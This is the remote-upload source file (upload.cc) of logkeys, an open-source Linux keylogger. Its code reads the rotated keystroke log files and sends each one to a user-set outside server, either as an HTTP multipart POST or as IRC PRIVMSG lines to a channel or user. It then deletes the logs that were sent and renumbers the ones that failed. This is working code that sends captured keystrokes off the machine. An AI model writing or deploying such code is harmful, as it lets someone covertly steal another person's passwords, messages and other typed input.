logkeys/src/upload.cc

265 lines
8.0 KiB
C++

/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _UPLOAD_H_
#define _UPLOAD_H_
#define UPLOADER_PID_FILE "/var/run/logkeys.upload.pid" // pid file for the remote-uploading process
namespace logkeys {
int sendall(int sockfd, const char *buf, size_t len)
{
size_t total = 0;
int n = 0; // how many bytes we've sent
size_t bytesleft = len; // how many we have left to send
while(total < len) {
if ((n = send(sockfd, buf + total, bytesleft, 0)) == -1)
break;
total += n;
bytesleft -= n;
}
return n == -1 ? -1 : 0; // return -1 on failure, 0 on success
}
int open_connection(const char *server, const char *port)
{
struct addrinfo *servinfo, *p; // servinfo will point to IP results
struct addrinfo hints = {0};
hints.ai_family = AF_UNSPEC; // will "resolve" both IPv4 or IPv6 addresses/hosts
hints.ai_socktype = SOCK_STREAM; // we will use TCP stream
int status, sockfd;
if ((status = getaddrinfo(server, port, &hints, &servinfo)) != 0)
error(EXIT_FAILURE, 0, "getaddrinfo() error (%s:%s): %s", server, port, gai_strerror(status));
// loop through the servinfo list and connect to the first connectable address
for (p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
continue;
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
continue;
}
break;
}
if (p == NULL) sockfd = -1; // if connecting failed, return -1
freeaddrinfo(servinfo); // free the servinfo linked-list
return sockfd;
}
char * read_socket(int sockfd)
{
#define STR_SIZE 1000000
static char str[STR_SIZE] = {0};
if (recv(sockfd, str, STR_SIZE, 0) == -1)
return NULL;
return str;
}
int sockfd;
bool isKilled = false;
void uploader_signal_handler(int signal)
{
isKilled = true;
close(sockfd);
}
void start_remote_upload()
{
int pid_fd = open(UPLOADER_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (pid_fd == -1) {
error(EXIT_FAILURE, errno, "Error creating uploader PID file '" UPLOADER_PID_FILE "'");
}
// catch SIGHUP, SIGINT, SIGTERM signals to exit gracefully
struct sigaction act = {{0}};
act.sa_handler = uploader_signal_handler;
sigaction(SIGHUP, &act, NULL);
sigaction(SIGINT, &act, NULL);
sigaction(SIGTERM, &act, NULL);
#define MAX_FILES 1000
char successful[MAX_FILES] = {0}; // array holding results
int last_index; // determine how many logfiles.X are there
for (last_index = 1; last_index < MAX_FILES; ++last_index) {
std::stringstream filename;
filename << args.logfile << '.' << last_index;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
ifs.close();
}
--last_index; // logfile.last_index is the last one
// POST to remote HTTP server
if (args.http_url) {
std::string url = std::string(args.http_url);
std::string port = "80";
std::string host = url.substr(url.find("://") + 3);
std::string location = host.substr(host.find("/"));
host = host.substr(0, host.find("/"));
if (host.find(":") != std::string::npos) { // if port specified (i.e. "http://hostname:port/etc")
port = host.substr(host.find(":") + 1);
host = host.substr(0, host.find(":"));
}
srand(time(NULL));
for (int i = 1; i <= last_index && !isKilled; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
sockfd = open_connection(host.c_str(), port.c_str());
if (sockfd == -1) break;
std::string line, file_contents;
while(getline(ifs, line)) file_contents += line + "\n";
ifs.close();
std::stringstream boundary, postdata, obuf;
boundary << "---------------------------" << time(NULL) << rand() << rand();
postdata << "--" << boundary.str() << "\r\n" <<
"Content-Disposition: form-data; name=\"file\"; filename=\"" << filename.str() << "\"\r\n"
"Content-Type: text/plain\r\n\r\n" << file_contents << "\r\n--" << boundary.str() << "--\r\n";
obuf <<
"POST " << location << " HTTP/1.1\r\n"
"Host: " << host << "\r\n"
"User-Agent: logkeys (http://code.google.com/p/logkeys/)\r\n"
"Accept: */*\r\n"
"Content-Type: multipart/form-data; boundary=" << boundary.str() << "\r\n"
"Content-Length: " << postdata.str().size() << "\r\n"
"\r\n" << postdata.str();
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
close(sockfd);
error(0, errno, "Error sending output");
break;
}
sleep(1);
if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0)
++successful[i - 1];
if (successful[i - 1] && !args.irc_server) remove(filename.str().c_str());
close(sockfd);
}
}
// post to remote IRC server
if (args.irc_server && !isKilled) {
sockfd = open_connection(args.irc_server, args.irc_port);
if (sockfd == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)");
}
fprintf(stderr, "posting IRC...\n"); // debug
srand(time(NULL));
int random = rand() % 999999; // random 6 digits will be part of IRC nickname
std::stringstream obuf;
obuf << "USER lk" << random << " 8 * :http://code.google.com/p/logkeys\r\n"
"NICK lk" << random << "\r\n";
if (args.irc_entity[0] == '#') // if entity is a channel, add command to join it
obuf << "JOIN " << args.irc_entity << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
for (int i = 1; i <= last_index && !isKilled; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
std::string line;
while (std::getline(ifs, line)) {
#define IRC_MAX_LINE_SIZE 400
while (line.size() > IRC_MAX_LINE_SIZE) {
obuf << "PRIVMSG " << args.irc_entity << " :"
<< line.substr(0, IRC_MAX_LINE_SIZE) << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
sleep(1);
line = line.substr(IRC_MAX_LINE_SIZE);
}
obuf << "PRIVMSG " << args.irc_entity << " :" << line << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
}
ifs.close();
sleep(1);
++successful[i - 1];
}
close(sockfd);
}
char successful_treshold = 0; // determine how many post methods were supposed to be used
if (args.http_url) ++successful_treshold;
if (args.irc_server) ++successful_treshold;
// remove all successfully uploaded files...
for (int i = 1, j = 1; i <= last_index; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
if (successful[i - 1] == successful_treshold) {
remove(filename.str().c_str());
}
else if (i != j) { // ...and rename unsuccessfully uploaded files so they run in uniform range logfile.X for X = 1..+
std::stringstream target_name;
target_name << args.logfile << '.' << j;
rename(filename.str().c_str(), target_name.str().c_str());
++j;
}
}
close(pid_fd);
remove(UPLOADER_PID_FILE);
}
} // namespace logkeys
#endif // _UPLOAD_H_